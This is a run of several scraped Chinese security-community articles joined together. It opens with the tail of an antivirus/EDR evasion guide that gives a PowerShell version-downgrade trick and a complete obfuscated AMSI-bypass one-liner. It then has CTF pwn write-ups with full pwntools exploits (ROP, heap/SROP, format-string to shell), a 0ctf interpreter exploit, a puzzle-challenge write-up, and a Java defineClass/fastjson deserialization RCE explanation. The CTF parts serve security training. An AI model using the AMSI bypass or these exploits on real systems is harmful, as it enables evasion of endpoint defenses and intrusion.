> 我们已经能够成功地混淆我们的恶意PowerShell脚本并逃避任何AV检测，或者您也可以使用Invoke-> Obfuscate来混淆或编码单个PowerShell命令。建议有能力的进行二次开发，除去加密的特征值，免杀效果更好。
注意：使用的目标应该能够执行PowerShell脚本，否则，我们将无法执行混淆/编码的PowerShell脚本。
当然也可以利用
###### 绕过EDR
为了防止我们被edr发现，我们需要针对Powershell进行"降低版本"的操作，如果你有能力降级到 Powershell
2.0，这可以让你绕过该ConstrainedLanguage模式。虽然效果不错，但是如果edr对版本进行标记，依然会导致异常。
$ExecutionContext.SessionState.LanguageMode
Powershell
$ExecutionContext.SessionState.LanguageMode
Powershell -version 2
小提示：Win10及以上版本可能需要安装Powershell 2版本才可以进行利用！
##### ASMI免杀处理
为了做好Powershell的免杀，我们针对内存规避有着以下的手段：
> 专注于内存操作，不将文件写入磁盘
>
> 通过利用各种Windows API将有效负载注入进程
>
> 然后在存储器中的单独线程中执行有效载荷
但是ASMI依然对Powershell的免杀有着致命的打击，所以需要我们针对Powershell的ASMI免杀做出特定的研究。
###### 利用常见方法绕过
> 使用XOR等加密方法来绕过AMSI，并在运行时将字符串解码回内存
>
> 通过阻断ASMI.dll中AmsiScanBuffer()函数的扫描进程
>
> 修改注册表，将HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值更改为0
###### 利用网站混淆绕过
#Matt Graebers second Reflection method
$wfSi=$null;$hlrajhy="$([char](30+53)+[cHaR]([byte]0x79)+[CHar]([BYtE]0x73)+[ChAR]([BYTe]0x74)+[Char](101*20/20)+[chaR](109*46/46)).$([CHaR](65+12)+[chAR](97+89-89)+[CHAR]([byTE]0x6e)+[cHAR]([bYte]0x61)+[char]([ByTe]0x67)+[ChAR](101)+[CHAR]([byTe]0x6d)+[cHaR]([bytE]0x65)+[chAr]([ByTe]0x6e)+[cHar](116)).$(('Ãutômát'+'íón').NOrmAlizE([chaR](33+37)+[cHAR](111)+[ChAR]([BYTE]0x72)+[CHAr](109+28-28)+[CHar](68)) -replace [chaR](92+71-71)+[cHar]([BYTe]0x70)+[ChAr]([Byte]0x7b)+[ChaR]([BYtE]0x4d)+[chaR]([BYtE]0x6e)+[ChaR](125+53-53)).$(('Âms'+'íUt'+'íls').NORMaLIze([cHAr](70)+[cHAR]([BYTE]0x6f)+[cHAr](24+90)+[chAR](22+87)+[cHar](68+36-36)) -replace [cHAR]([bYTe]0x5c)+[Char](112+50-50)+[chAr]([bYtE]0x7b)+[CHar](77)+[cHAr]([byTE]0x6e)+[CHar]([BYTe]0x7d))";$xrgohuphpvm="+('n'+'u'+'ã').NormALize([CHaR](70+47-47)+[ChaR](111)+[cHaR]([BYtE]0x72)+[cHAR]([ByTe]0x6d)+[CHAR](68*53/53)) -replace [CHAr]([BYTE]0x5c)+[chAr]([bYte]0x70)+[ChAr]([BYTe]0x7b)+[chaR](77)+[cHaR](110+87-87)+[chAR](125*25/25)";[Threading.Thread]::Sleep(1085);[Runtime.InteropServices.Marshal]::("$([cHAR]([ByTe]0x57)+[char](114)+[Char]([byte]0x69)+[ChAR](116)+[chAR]([byte]0x65)+[ChAR](73+49-49)+[chAr](110+78-78)+[chAR]([BYte]0x74)+[CHar]([BYTE]0x33)+[cHAR](50*13/13))")([Ref].Assembly.GetType($hlrajhy).GetField("$(('àmsìC'+'ôntex'+'t').norMAlizE([CHAR]([BYte]0x46)+[ChAr]([BYtE]0x6f)+[Char](114+75-75)+[CHAr]([ByTE]0x6d)+[CHaR]([byTE]0x44)) -replace [CHar]([BYtE]0x5c)+[cHar](112+67-67)+[CHaR](123+7-7)+[CHar]([BYTE]0x4d)+[ChAR]([byTe]0x6e)+[ChAR]([bYtE]0x7d))",[Reflection.BindingFlags]"NonPublic,Static").GetValue($wfSi),0x5762f72c);
网站链接：<https://amsi.fail>
#### 0X04寻找白文件
* * *
##### 人工寻找白文件
通过Procmon进程监视器，显示实时⽂件系统、注册表和进程/线程活动，这⾥我们⽤来观察进程运⾏过程的DLL调⽤。通过设置不同的筛选方式去寻找可以加载的黑DLL。
我们通过运⾏xxx.exe白文件对比，寻找是否存在LoadLibrary函数，如果存在，我们可以直接构造一个恶意黑DLL。
反之，我们就需要劫持不存在的DLL。
##### 自动化挖掘白文件
* * *
<https://github.com/cyberark/DLLSpy>
DLLSpy.exe -x
-d：强制，扫描加载的模块。
-o：指定输出文件。
-s：静态扫描，寻找缺失的DLL和二进制文件中的DLL
-r <number>：递归扫描，number是递归的深度
<https://github.com/dragoneeg/bDLL>
执行：python DllJacking_Python.py 目标文件夹地址
虽然高效，误报高，准确度低！
也可以去网站搜索 （网站地址：<https://hijacklibs.net/）>
#### 0X05检测和预防措施
* * *
我也收集了关于白加黑的部分预防和检测方法，并分享在下文当中。该分享将白加黑攻击分解为软件开发级别的预防措施，并提出了针对端点用户级别的建议。如上提及的一些检测方法：
> 检查具有异常网络连接的进程，且给定进程的网络活动已变得与基线不同，则该进程可能已受到损害
>
> DLL权限，针对具有LoadLibrary()函数的DLL进行限制
>
> DLL白名单，即跟踪系统上使用的DLL的哈希值以识别差异
但是这些检测方法难以大范围实施，虽然可以利用，但是成本过于高昂。这就是为什么"白加黑"仍然有效并在攻防演练当中运用的原因。该恶意攻击方式存在的根本问题与软件开发人员密切相关。所以希望本文能被更多开发人员看见，已减少攻击者用其攻击手段。
参考文章如下：
> <https://attack.mitre.org/techniques/T1547/001/>
>
> <https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-> black-basta-ransomware/>
>
> <https://blog.csdn.net/cd520yy/article/details/49455127>
>
> <https://blog.csdn.net/Jailman/article/details/128221217> | 社区文章 |
# 第二届分布式靶场安全技能大赛pwn题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 64ROP
### 程序分析
### 思路
* ret2libc就好了
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("10.12.152.6", 29999)
def Num(n, l=8):
sh.sendline(str(n))
def GDB():
gdb.attach(sh, '''
break *0x400730
''')
#GDB()
rdi = 0x00000000004007a3 #pop rdi; ret;
rsi = 0x00000000004007a1 #pop rsi; pop r15; ret;
#leak libc addr
exp = cyclic(0x4)
exp+= flat(0x0) #rbp
exp+= flat(rdi, elf.got['puts'], elf.symbols['puts'], elf.symbols['main'])
sh.sendlineafter('*****#####*****\n', exp)
libc.address = u64(sh.recv(6)+'\x00'*2)-libc.symbols['puts']
Log('libc.address')
OGG = libc.address+0x4526a
exp = cyclic(0x4)
exp+= flat(0x0) #rbp
exp+= flat(OGG)+'\x00'*0x60
sh.sendlineafter('*****#####*****\n', exp)
sh.interactive()
'''
'''
## babyheap
### 程序分析
* Edit之后进行trunk时有一个offset by null, Trunk会首先检查所有给定范围内所有字符, 计算所有与0x10对齐的字符数量, 如果这个数量与0x10对齐的话, 就有str[len]=0x0
### 思路
* 利用Largebin绕过unlink的自闭检查, 手法可以看我以前的文章 <https://www.anquanke.com/post/id/237976>
* 构造出Chunk重叠后利用partial overwrite让Tcache指向_IO_2_1_stdout, 从而泄露地址
* 最后打__free_hook利用setcontext进行SROP读取flag
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
for i in range(256):
try:
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("10.10.1.11", 23459)
def Num(n, l=8):
sh.send(str(n).ljust(l, '\x00'))
def Cmd(n):
sh.recvuntil('Choice:')
Num(n)
def Add(sz):
Cmd(1)
sh.recvuntil('Size: ')
Num(sz)
def Edit(idx, cont, wait=True):
Cmd(2)
sh.recvuntil('Index: ')
Num(idx)
if(wait):
sh.recvuntil('Content: \n')
else:
sh.recvuntil('Content: ')
sh.send(cont)
def Delete(idx):
Cmd(3)
sh.recvuntil('Index: ')
Num(idx)
def Show():
Cmd(4)
def GDB():
gdb.attach(sh, '''
break *(0x555555554000+0x149D)
break *0x7ffff7e2d0a0
telescope (0x555555554000+0x40E0) 32
''')
Add(0x3D50) #padding
#chunk arrange
Add(0x500) # B, put into LB and unlink(B)
Add(0x4F0) # A'
Add(0x4F0) # A, put into LB
Add(0x100) # gap
Add(0x510) # C, put into LB
Add(0x200)
Add(0x200)
Add(0x200)
Add(0x200)
Add(0x1F8) # chunk to overflow P flag
Add(0x4F0) # chunk to be free
Add(0x100) # gap to top chunk
#LB<=>C<=>B<=>A
Delete(1)
Delete(3)
Delete(5)
Add(0x1000)
Delete(1)
#forge fake chunk in B
Add(0x500)
Edit(1, flat(0xdeadbeef, 0x1F71)[0:0xF])
hb = 0xe #ASLR on: 0xe, off: 0x0
#partial overwrite A->bk
Add(0x4F0)
Edit(3, '\x00'*(8)+'\x00'+chr(hb<<4))
#LB<=>C<=>A'
Delete(2)
Add(0x1000)
Delete(2)
#partial overwrite C->fd
Add(0x510)
Edit(2, '\x00'+chr(hb<<4))
#clean LB
Add(0x4F0)
#offset by null
Edit(10, (b'\x0F'*7).ljust(0x1f0, b'\x00')+p64(0x1F70))
#trigger consolidate, UB<=>(B, A, A', ...., )
Delete(11)
#alloc to _IO_2_1_stdout_
Delete(7)
Delete(6) #Tcache->C6->C7
Add(0x1520) #Tcache->C6->UB
Add(0xF0)
hb = 0xe #ASLR on: 0xe, off: 0x1
Edit(7, p16(0x6a0|(hb<<12))) #Tcache->C6->stdout
#IO attack
Add(0x200)
Add(0x200)
exp = flat(0xFBAD1800)
exp+= flat(0 ,0 , 0)
exp+= p8(0x8)
Edit(13, exp)
libc.address = u64(sh.recv(8))-0x1eb980
Log('libc.address')
#GG
ret = libc.address+0x25679 #ret;
rdi = libc.address+0x26b72 #pop rdi; ret;
rsi = libc.address+0x27529 #pop rsi; ret;
rdx_r12 = libc.address+0x11c371 #pop rdx; pop r12; ret;
rax = libc.address+0x4a550 #pop rax; ret;
syscall = libc.address+0x66229 #syscall; ret;
def Call(sys, A, B, C):
exp = flat(rdi, A)
exp+= flat(rsi, B)
exp+= flat(rdx_r12, C, 0x0)
exp+= flat(rax, sys)
exp+= flat(syscall)
return exp
#alloc to __free_hook
Delete(9) #Tcache->C9
Delete(8) #Tcache->C8->C9
Add(0x400)
Edit(8, b'\x00'*0x320+p64(libc.symbols['__free_hook']), False)
#SROP
Add(0x200)
Add(0x200)
exp = p64(libc.symbols['setcontext']) #__free_hook
frame = SigreturnFrame()
frame["&fpstate"] = libc.address+0x1ebF00 #libc .bss
frame.rsp = libc.address+0x1eec20
frame.rip = ret
exp+= bytes(frame)[0x8:]
#ORW rop
buf = libc.address+0x1eed10
exp+= Call(2, buf, 0, 0)
exp+= Call(0, 3, buf, 0x100)
exp+= Call(1, 1, buf, 0x100)
exp+= b"./flag\x00"
Edit(14, exp.ljust(0x200, b'\x00'), False)
#GDB()
#trigger SROP
Delete(14)
sh.interactive()
except:
sh.close()
'''
'''
## babystack
### 思路
* size传入0, 负整数溢出, 覆盖到canary最低00字节 从而利用%s读出canary
* vuln()函数
* 第一次调用: partial overwrite返回地址, 让vuln()返回到main()中call vuln()的地方, 从而多次调用vuln
* 第二次调用: 已经泄露了stack地址, 直接在stack中写shellcode, 然后覆盖返回地址为shellcode地址就好
* shellcode: 侧信到泄露flag:
* 打开文件文件后读入第idx个字节, 如果这个自己与猜的一样, 那么死循环, 如果不一样就mov rax, [0]触发SIGV, 让nc断掉
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'error'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
def Num(n, l=8):
sh.sendline(str(n))
def GDB():
gdb.attach(sh, '''
break *(0x555555554ce6)
''')
#GDB()
def Brute(sh, idx, c):
def Name(name):
sh.recvuntil(' What\'s your name size?\n')
sh.send('0'.ljust(7, '\x00'))
sh.recvuntil('Tell me your name!\n')
sh.send(name)
def Gift(cont):
sh.recvuntil('This is gift for you\n')
sh.send(cont)
try:
Name('A'*0x19)
sh.recvuntil('A'*0x19, timeout=1)
t=sh.recv(7)
canary = u64('\x00'+t)
#stack mov
exp = cyclic(0x88)
exp+= flat(canary)
exp+= flat(0x0) #rbp
exp+= p8(0xB7)
Gift(exp)
sh.recv(0x98)
elf.address = u64(sh.recv(8))
stack_addr = u64(sh.recv(8))
#shellcode
exp = 'A'*8
exp+= asm('''
xor rax, rax
mov eax, 0x67616c66
push rax
open:
xor rax, rax
inc rax
inc rax
mov rdi, rsp
xor rsi, rsi
syscall
read_flag:
mov rdi, rax
xor rax, rax
mov rsi, rsp
xor rdx, rdx
mov dl, 0xff
syscall
brute:
mov al, [rsp+%d]
cmp al, %d
jnz die
jmp brute
die:
mov al, [0]
'''%(idx, c))
exp = exp.ljust(0x88, '\x00')
exp+= flat(canary)
exp+= flat(0, stack_addr-0x1c0)
sh.send(exp.ljust(0xB0, '\x00'))
sh.recv(0xB0, timeout=1)
sleep(0.1)
sh.send('A')
sh.close()
return True
except:
sh.close()
return False
flag = ''
while(len(flag)<3):
for c in range(0x20, 0x80):
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("10.10.1.11", 23458)
print("brute 0x%x"%(c))
if(Brute(sh, len(flag), c)):
flag+= chr(c)
print(flag)
break
'''
'''
## bitflip
### 程序分析
* read()读入, 不保证00结尾, 计算长度时使用strlen()依赖00结尾, 因此会造成越界读取, 利用侧信道泄露栈上信息
* Vuln读入时溢出1字节, 覆盖到i, 从而让i永远不为65, 相当于一个无限堆溢出
### 思路
* 利用栈缓存区中残留的stdout地址泄露libc地址
* 先是如下爆破每一个字节, 爆破之后得到最低12bit为0x680, 从而得知远程libc为2.27-3Ubuntu1.3
* 因此打远程是为了减少爆破次数, 最低12bit直接默认为0x680, 爆破就好
* 但是没法泄露canary, 覆盖i为0x50较大的数, 直接约过canary开始写入
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("10.10.1.10", 10000)
def Num(n, l=8):
sh.sendline(str(n))
def ID(cont):
sh.recvuntil('ID: ')
sh.send(cont)
def Secret(cont):
sh.recvuntil('Secret: ')
sh.send(cont)
def Say(cont):
sh.recvuntil('WTF? What do you want to say: ')
sh.send(cont)
def GDB():
gdb.attach(sh, '''
break *(0x5555555549a1)
''')
#brute address
stderr = '\x80'
for i in range(4):
if(i==0):
start = 0x6
step = 0x10
else:
start = 0x1
step = 0x1
for c in range(start, 0x100, step):
print("Guess %d, %s"%(i, hex(c)))
sh.sendlineafter('Choice: ', '1')
ID('A'*0x10+stderr+chr(c)+'\x00')
Secret('A'*0x10)
res = sh.recv(4)
if(res == "Fail"):
continue
else:
sh.sendline('A')
stderr+=chr(c)
print('='*0x30+hex(c))
break
stderr = u64(stderr+'\x7F'+'\x00'*2)
Log('stderr')
libc.address = stderr - libc.symbols['_IO_2_1_stderr_']
Log('libc.address')
#ROP
#GDB()
sh.sendlineafter('Choice: ', '1')
ID('A\x00')
Secret('A\x00')
OGG = libc.address + 0x4f432
exp = '\x50'*0x41 # i = 0x50
exp+= cyclic(0x7) # rbp
exp+= flat(OGG)
exp+= '\x00'*0x100
Say(exp+'\n')
sh.sendline('cat flag\x00')
sh.interactive()
'''
'''
## overflow
### 思路
* 相邻变量覆盖就好
### EXP | 社区文章 |
# 从crash到getshell 0ctf2019_plang 详解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这是0ctf中的一道题目，题目提供了一个poc文件
var a = "This is a PoC!"
System.print(a)
var b = [1, 2, 3]
b[0x80000000] = 0x123
我们在ida中的字符串中能够发现如下的代码：
可以看出这是一个类似于javascript的解释器。
gdb加载程序，并设置参数，程序crash了。这是因为
## 漏洞分析：
我们发现rcx寄存器是个非法的地址。查看代码我们发现rcx是通过rax+rdx获取的，而rax和rdx是在栈上获取的。
通过调试我们可以看到，rax是数组b的基址，rdx是数组的偏移。漏洞点就在数组存在越界读写。
为了利用该漏洞，我们需要分析清楚该js解释器的数据结构，才能来进行读写。
分析数据结构，构造如下的poc
var a = "This is a PoC!"
System.print(a)
var b = [1, 2, "aaaaa",[3,"ddddd"]]
Strcut obj_ptr{
long unkown;
void *ptr1;
void *ptr2;
objbuffrer *ptr;
int size;
int size;
}
我们在数组中声明的变量值为1和2，在堆中却为0x3ff0000000000000和0x4000000000000000，实际上是用浮点形式存储的。所以我们读写的数据都要按照浮点形式存储。
Struct objtype{
long type;//如果是double类型的为4，如果为其他类型的为5
union{
double value;
obj_ptr* obj;
};
}
struct objstr{
int type;
int padding;
void* ptr1;
void* ptr2;
int some_val;
int size;
char[] contents;
};
## 漏洞利用：
### 地址泄露
在分析程序的时候，我们注意到Objstr类型，有一个size位，如果利用任意地址写，将Objstr类型的size位改大，就能打印出很多地址，而后面的内存中正好有libc有关的地址。
这里有几个地方需要注意：一个是偏移的计算，一个是要将size转化成double类型。
如果我们直接打印字符串a，后面的’x00’会截断，我们通过下面的方式逐个字节读取
### 任意地址写
我们发现obj_ptr结构体中存在一个指针，将objbuffrer 的指针改写成我们想改写的地址即可。
Strcut obj_ptr{
long unkown;
void *ptr1;
void *ptr2;
objbuffrer *ptr;
int size;
int size;
}
尝试了malloc_hook和free_hook后发现有个onegadget劫持free_hook可以拿到shell。
## exp:
from pwn import *
import struct
EXE='./plang'
context.binary = EXE
elf = ELF(EXE)
libc=elf.libc
io=process(EXE)
def dbg(s=''):
gdb.attach(io,s)
def runscript(pay):
io.sendlineafter('> ',pay)
def int2double(num):
return struct.pack("<d", num).encode('hex')
def double2int(nstr):
return (struct.unpack('d', nstr)[0])
libcoffset=0x155554f88ca0- 0x155554b9d000
heapoffset=0x555555780750-(0x5555557741b8-0x10)
one_gadget=[0x4f2c5,0x4f322,0x10a38c]
buf=''
pay1= "var a = "aaaaaa""
pay3= "var b = [1, 2, "bbbbbb"]"
pay4= "var c = [ 4 , 5]"
b_addr = 0x555555788b70
a_addr = 0x555555787f20
offset=(a_addr-b_addr)/16
lens=1#int2double(0x100)
pay5= "b[%d] = %d" %(offset,lens)
paylist=[pay1,pay3,pay4,pay5]
for i in paylist:
runscript(i)
slibc = (0x555555788028 - 0x555555787f30)
pay1="System.print(a[%d])"%slibc
pay2="System.print(a[%d])"%(slibc+1)
pay3="System.print(a[%d])"%(slibc+2)
pay4="System.print(a[%d])"%(slibc+3)
pay5="System.print(a[%d])"%(slibc+4)
pay6="System.print(a[%d])"%(slibc+5)
paylist=[pay1,pay2,pay3,pay4,pay5,pay6]
for i in paylist:
runscript(i)
buf+=io.recv(1)
libcaddr=u64(buf.ljust(8,'x00')) - libcoffset
print 'libcaddr:',hex(libcaddr)
libc.address=libcaddr
c_addr=0x555555788e10+0x20
offset=(b_addr-c_addr)/16
free_hook=libc.sym['__free_hook']
lens=double2int(p64(free_hook-8))
pay1= "c[%d] = %.330f" %(offset,lens)
runscript(pay1)
data=double2int(p64(libcaddr+one_gadget[1]))
pay2="b[0]=%.330f"%(data)
runscript(pay2)
pay="var e="aaaaaaaaaa""
runscript(pay)
io.interactive()
## 体会感受：
这道题目不同于传统的pwn堆利用的那种菜单题目，如果上来就通过ida，gdb从头分析程序，会花费大量时间和精力，难度也很大。我们从poc入手通过crash分析程序的漏洞点，理清数据结构，从而实现利用，比较接近现实中漏洞利用的过程。
## 参考：
<https://changochen.github.io/2019-03-23-0ctf-2019.html> | 社区文章 |
湖湘杯的pwn比赛很有趣，我做了pwns200的题目，感觉不错，我把wp分享出来，pwns的下载链接见附件
把pwns100直接拖入ida中：
main函数：
sub_80485CD函数：
在sub_80485CD函数可以看到输入的数据直接进入了printf函数中，所以这个肯定是一个格式化字符串漏洞
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
这个程序开了Canary和栈不可执行
这个题目的思路和<http://blog.csdn.net/niexinming/article/details/78512274>
差不多，唯一不同的是上一个题目提供了system函数，这个题目要从libc中找system函数，所以首先通过printf打印__libc_start_main函数这个地址，然后根据偏移计算libc的基地址，然后计算出system的实际地址，最后用`fmtstr_payload(autofmt.offset,
{atoi_got_addr: system_addr})`把atio的地址覆盖为system的地址，就可以getshell了
我的exp是：
from pwn import *
def debug(addr = '0x0804867E'):
raw_input('debug:')
gdb.attach(r, "b *" + addr)
def base_addr(prog_addr,offset):
return eval(prog_addr)-offset
#localsystem = 0x0003ADA0
context(arch='i386', os='linux', log_level='debug')
r = process('/home/h11p/hackme/huxiangbei/pwne')
#r = remote('hackme.inndy.tw', 7711)
elf = ELF('/home/h11p/hackme/huxiangbei/pwne')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def exec_fmt(payload):
r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
r.sendline(payload)
info = r.recv().splitlines()[1]
print "info:"+info
r.sendline('10')
#r.close()
return info
autofmt = FmtStr(exec_fmt)
r.close()
r = process('/home/h11p/hackme/huxiangbei/pwne')
atoi_got_addr = elf.got['atoi']
print "%x" % atoi_got_addr
system_offset_addr = libc.symbols['system']
print "%x" % system_offset_addr
payload1="%35$p"
#debug()
r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
r.sendline(payload1)
libc_start_main = r.recv().splitlines()[1]
libc_module=base_addr(libc_start_main,0x18637)
system_addr=libc_module+system_offset_addr
print "system_addr:"+hex(system_addr)
r.sendline('10')
payload2 = fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})
r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
r.sendline(payload2)
r.recv()
#r.sendline('10')
r.sendline('/bin/sh')
r.interactive()
r.close()
效果是： | 社区文章 |
## 引子
很早之前就有 Misc 拼图题的存在了，也出现了一些奇奇怪怪的解决方法，包括但不限于以下：
* PPT 拼图
* 打印手工拼图
* Word 拼图
* PS 平台
* CAD 拼图
* 时间排序拼图
今年 HXB 也出了个 AI 拼图题，有点意思，所以今年圣诞节，我们 Venom 也安排的一场圣诞挑战。
本来是分 Easy，Middle，Hell 的，但是感觉 Easy 太简单了，就没安排了。
底图是这个样子的
**Meta**
* size: 2560x1600
## Easy
### easy
**Meta**
* part size: 32x20
* number: 6400
### easyx
**Meta**
* part size: 16x10
* number: 25600
### Solution
看图说话，就是非常非常 easy。整个图片上除了 secret 文字就没有别的干扰了。因此解决方案就非常简单了
因为给出了底图和碎图，所以可以根据碎图去分割底图为同样大小的碎片。
可以通过分别对底图碎片和 secret 图碎片进行哈希，替换相同哈希的内容后得到哈希不同的碎片，即为 secret 文字的碎片。在组合为大图。
[+] Source : origin.png
[+] Part : easy/01JbXsY3sZ.png
[+] Output : easy.png
[+] ExtColor : #fff
[+] puzzleDiffHash
[+] m = 80, n = 80
[+] Cut and Hash Source Image
[+] Hash Part Image
[+] Hash Diff Num : 668
[+] Merge Image
[+] Success! And use 4.248577 s
[+] Source : origin.png
[+] Part : easyx/007Mgv3beP.png
[+] Output : easyx.png
[+] ExtColor : #fff
[+] puzzleDiffHash
[+] m = 160, n = 160
[+] Cut and Hash Source Image
[+] Hash Part Image
[+] Hash Diff Num : 1698
[+] Merge Image
[+] Success! And use 12.901666 s
碎片分割越小，secret文字越大，使用哈希对比的方法越准确。也可以用 Middle 或者 Hell 的方法。
## Middle
**Meta**
* part size: 32x20
* number: 6400
* 干扰直线 * 100 [width=(3, 6)]
* 干扰曲线 * 100 [width=(3, 6)]
* 干扰文本 * 20
### Solution
复杂度瞬间上升 N 倍，主要是多了很多干扰，单纯的 hash 比对是不可能的了。
这时候考虑三种特殊的哈希算法
* 图像均值哈希算法 Average Hash - ahash
* 图像感知哈希算法 Perceptual Hash - phash
* 图像差异哈希算法 Difference Hash - dhash
我这里是利用差异哈希算法实现的
[+] Source : origin.png
[+] Part : middle/00CJwpvuuk.png
[+] Output : middle.png
[+] ExtColor : #fff
[+] puzzleDiffHash
[+] m = 80, n = 80
[+] Cut and Hash Source Image
[+] Hash Part Image
[+] Compare Image
[+] Merge Image
[+] Success! And use 19.097951 s
虽然没能完全还原，但是 secret 已经清晰可见了。
## 低配 Hell
**Meta**
* part size: 16x10
* number: 25600
* 干扰直线 * 100 [width=(5, 8)]
* 干扰曲线 * 100 [width=(5, 8)]
* 干扰文本 * 30
### Solution
解决方案应该不是，毕竟给的图都是高清无码无损大图。挑战难度主要在于验证机器低配，干扰复杂度++，最大干扰线粗细接近碎片高度，碎片数量多。
参考方案
* 低采样点RGB比对
* 纯【哈希】和【差异哈希】排除一部分碎片，剩下的用全 RGB 比对
反正我的解决方案是无脑比对全 RGB，逐个选用相似度最高的
[+] Source : origin.png
[+] Part : hell/03RVA5m7Pm.png
[+] Output : hell.png
[+] ExtColor : #fff
[+] puzzleDiffRGB
[+] m = 160, n = 160
[+] Cut and Hash Source Image
[+] Hash Part Image
[+] Compare Image
[+] Finish Compare
[+] Merge Image
[+] Success! And use 104.166225 s
我是在本地跑的
### VerifyServer
验证服务跑出的结果
## 高配 Hell [只是个设想]
么得图
**Meta**
* part size: 16x10
* number: 25600
* 干扰直线 * 100 [width=(5, 8)]
* 干扰曲线 * 100 [width=(5, 8)]
* 干扰文本 * 30
* 不给原图
* png -> jpg 有损格式是不是会被吊打
解决方案大概是边界模糊匹配，具体我也不懂啊
## Others
大概了解了一下选手们的解决方案。结果我哭了。
**选手甲**
**选手乙**
## Ending
大佬们都用CUDA，，，我很绝望啊。
我不懂算法、、所以不要吐槽哈、、机器学习？？？不存在的。
* [puzzle_tool](https://github.com/virink/puzzle_tool)
* [Venom 战队 2019 圣诞拼图挑战赛](https://github.com/virink/venom_2019_aidpuzzle) | 社区文章 |
作者：阿里安全归零实验室
来源：<https://xz.aliyun.com/t/2272>
本文分享一下defineClass在反序列化漏洞当中的使用场景，以及在exp构造过程中的一些使用技巧
#### 0x00 前言
首先看一下defineClass的官方定义
众所周知，java编译器会将.java文件编译成jvm可以识别的机器代码保存在.class文件当中。正常情况下，java会先调用classLoader去加载.class文件，然后调用loadClass函数去加载对应的类名，返回一个Class对象。而defineClass提供了另外一种方法，从官方定义中可以看出，defineClass可以从byte[]还原出一个Class对象，这种方法，在构造java反序列化利用和漏洞poc时，变得非常有用。下面总结我在实际分析漏洞和编写exp时的一点儿体会，具体有如下几种玩法.
#### 0x01 defineCLass构造回显
这里以java原生的java.io.ObjectInputStreamread的readObject()作为反序列化函数，以commons-collections-3.1作为payload，注入类文件代码如下
常规的回显思路是用URLClassLoader去加载一个.class或是.java文件，然后调用loadClass函数去加载对应类名，返回对应的Class对象，然后再调用newInstance()实例出一个对象，最后调用对应功能函数，使用例如throw
new Exception("genxor");这样抛错的方法，将回显结果带出来。例如
回显结果如下所示：
但是前提是要先写入一个.class或是.jar文件(写入方法这里不描述，使用FileOutputStream类，方法大同小异)，这样显得拖泥带水，而且让利用过程变得很复杂。
那可不可以不写文件而直接调用我们的代码呢，使用defineClass很好的解决了这个问题。将我们编译好的.class或是.jar文件转换成byte[]放到内存当中，然后直接用defineClass加载byte[]返回Class对象。那怎么调用defineClass函数呢，因为默认的defineClass是java.lang.ClassLoader的函数，而且是protected属性，无法直接调用（这里暂且不考虑反射），而且java.lang.ClassLoader类也无法被transform函数加载，这里我们使用org.mozilla.classfile.DefiningClassLoader类，
代码如图
他重写了defineClass而且是public属性，正好符合我们要求，这里我写个具体事例，代码如下
回显结果如下所示
根据这个思路，我们构造transformerChain生成map对象，代码如图所示
#### 0x02 fastjson利用
fastjson早期的一个反序列化命令执行利用poc用到了
com.sun.org.apache.bcel.internal.util.ClassLoader，首先简单说一下漏洞原理，如下是利用poc的格式
fastjson默认开启type属性，可以利用上述格式来设置对象属性（fastjson的type属性使用不属于本文叙述范畴，具体使用请自行查询）。tomcat有一个tomcat-dbcp.jar组件是tomcat用来连接数据库的驱动程序，其中org.apache.tomcat.dbcp.dbcp.BasicDataSource类存在如下代码，如图所示
当com.alibaba.fastjson.JSONObject.
parseObject解析上述json的时候，代码会上图中Class.forName的逻辑，同时将driverClassLoader和driverClassName设置为json指定的内容，到这里简单叙述了一下fastjson漏洞的原理，一句话概括就是利用fastjson默认的type属性，操控了相应的类，进而操控Class.forName()的参数，可以使用任意ClassLoader去加载任意代码，达到命令执行的目的。
这里详细说一下利用Class.forName执行代码的方法，有两种方式：
1. Class.forName(classname)
2. Class.forName(classname, true, ClassLoaderName)
先说第一种，通过控制classname执行代码，这里我写了一个demo，如图所示
这里利用了java的一个特性，利用静态代码块儿static{}来执行，当com.fastjson.pwn.run被Class.forName加载的时候，代码便会执行。
第二种，通过控制classname和classloader执行代码，我写了一个demo，以com.sun.org.apache.bcel.internal.util.ClassLoader这个类为例子，如图所示
这里用到了com.sun.org.apache.bcel.internal.util.ClassLoader这个classloader，而classname是一个经过BCEL编码的evil.class文件，这里我给出evil.java的源码，如图所示
